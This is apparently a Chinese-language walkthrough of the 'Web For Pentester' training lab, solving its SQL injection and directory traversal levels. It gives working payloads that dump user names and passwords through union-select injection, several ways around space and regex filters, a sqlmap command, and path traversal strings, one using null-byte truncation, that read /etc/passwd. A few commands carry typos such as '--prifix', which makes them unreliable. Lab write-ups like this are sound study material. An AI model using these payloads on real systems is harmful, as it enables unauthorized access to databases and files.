Web For Pentester - SQL injections/Directory traversal
SQL injections
Example 1 典型的SQL注入
name=root' or 1=1 %23
直接执行就可以导出所有用户
查看后端的源码
观察到,我们传入入的name
中,传入就成为了'root'
,所以我们root' %23
就是root' #
可以闭合成功
这里由于后面也有一个'
,所以可以执行
name=root' or '1'='1
传入就成为了root' or '1'='1'
,判断是正常的sql
语句,直接导出所有用户名
可以使用常规的思路union select
联合查询直接注入
1. order by 查询字段数
2. union selesct 查询可以显示的字段
3. select table_name from information_schema.tables where table_schema=database()查询当前数据库表名
4. select column_name from information_schema.columns where table_schema=database() and table_name=获取的表名 查询数据表中的列明
5. select 列名 from 表名 查询数据
name=root' order by 5%23
判断我5个列
name=root' union select 1,2,3,4,5 %23
获取到只有 1,2,3列可以显示数据
name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() %23
获取到数据库下的表名为 users
name=root' union select column_name,2,3,4,5 from information_schema.columns where table_schema=database() and table_name=0x7573657273 %23 \
得到重要列名为name,passwd
name=root' union select name,passwd,3,4,5 from users%23
获取用户名密码,如下图
Example 2 过滤空格
像上一关测试or 1=1
提示ERROR NO SPACE
,错误空格
,就是不能输入空格
审计后端源码
通过preg_match
函数检测name
中是否有空格,如果有die
终止并打印ERROR NO SPACE
不可以使用空格,但是有很多类似空格的空字符,这里我们使用/**/
绕过
root'/**/or/**/1=1%23
绕过成功
这里绕过空格的方法很多
· %09 水平TAB键
· %0b 垂直TAB键
· %0a 新的一行
· %0c 行的一页
· %0d return功能
· %a0 空格
· /**/ 注释
Example 3 过滤多个空格
审计源码
使用了正则表达式的\s+
,表示的意思是匹配任意前面的字符,这里就是匹配任意空格
所以我们还是可以使用上一关的方法
name=root'%a0or%a01=1%23
过关
Example 4 没用的过滤
审计源码
这里通过mysql_real_escape_string()
在特殊字符\ ' "
前面加入\
进行了转义
但是这里传参的是数字类型
,并不用使用' "
等特殊字符进行闭合,所以这个函数并没什么用
直接进行测试
id=2 or 1=1
导出所有用户
过关
Example 5 没用的正则匹配
通过观察后端源码,使用preg_match
正则匹配传入id的开头是否为1-9之间的数字
,否者返回ERROR INTEGER REQUIRED
但是上述方法对我们的语句没有什么作用
id=2 or 1=1
过关
Example 6 没用的正则匹配2
这次是匹配传参结束是否为数字
还是对注入语句没有什么影响
id=2 or 1=1
依然可以通过
过关
Example 7 /m匹配换行
审计源码,匹配了是否以数字开头和数字结束,使用正则写修饰符/m
由于/m
是换行匹配,上面我们讲过%0a
代表换行,这里使用%0a
新的一行,就可以绕过
id=2%0A or 1=1
Example 8 order by 盲注
审计源码
通过观察使用的是的闭合方式,但是如何SQL注入呢,这里由于是
闭合,所以无法执行and
和union
,我就没了办法
使用sqlmap
跑一下
sqlmap -u "http://172.16.1.103/sqli/example8.php?order=name" --prifix='`' --batch
--prifix
执行闭合方式,--batch
自动化注入
爆破成功,由于不太懂原理,这里可以国光的Web For Pentester
过关
Example 9 order by 盲注
审计源码
这关比上一关要更简单一点,没有采用任何闭合方式,直接使用sqlmap
跑
过关
Directory traversal 目录穿越
Example 1 没有顾虑
审计源码
可以看到文件默认目录为/var/www/files
,将file
传入没有进行任何过滤,使用fopen
函数读取文件的内容
所以这里我们直接传入../../../etc/passwd
,就可以读取passwd文件
过关
Example 2 检测/var/www/files/
审计源码
观察通过strstr
判断传入的路径中是否有/var/www/files/
虽然检查了/var/www/files
,并不影响我们继续使用../../../
file=/var/www/files/../../../etc/passwd
Example 3 00截断
审计源码
让传入的file
后面加入了.png
的后缀名,让我们无法自由的输入,很难受
观察PHP 5.3.3
,在PHP低于5.3.4中存在00截断
漏洞
而且这里做了一个很奇怪的操作,把传入00后面的内容转换为了空
直接传入payload../../../etc/passwd%00
过关